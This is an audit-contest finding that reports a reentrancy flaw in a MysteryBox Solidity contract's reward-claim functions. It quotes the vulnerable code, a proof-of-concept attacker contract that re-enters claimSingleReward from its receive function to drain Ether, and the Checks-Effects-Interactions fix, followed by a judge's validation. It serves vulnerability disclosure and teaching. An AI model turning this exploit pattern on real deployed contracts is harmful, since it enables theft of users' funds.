Mystery Box
First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy in `claimAllRewards` and `claimSingleReward`

blacksquirrel

Summary

MysteryBox contract is vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract. A malicious contract could re-enter the function before the state is updated.

Vulnerability Details

The functions claimAllRewards and claimSingleReward doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern.

function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
//@audit-issue reentrancy
- (bool success, ) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
​
- delete rewardsOwned[msg.sender][_index];
}

Impact

If exploited, this vulnerability could allow a malicious contract to drain Ether from the MysteryBox contract, leading to loss of funds for the contract and its users.

POC

We create a malicious contract that buys a box and then uses its receive function to repeatedly claims reward before the MysteryBox contract has a chance to update its state.

contract attacker {
MysteryBox victim;
​
constructor(address mysteryBox) {
victim = MysteryBox(mysteryBox);
}
​
function attack() public payable{
victim.buyBox{value: 0.1 ether}();
victim.openBox();
victim.claimSingleReward(0);
}
​
receive() external payable {
if (address(victim).balance > 0) {
victim.claimSingleReward(0);
}
}
}

Recommendations

To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether.

Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

`claimAllRewards` reentrancy

`claimSingleReward` reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.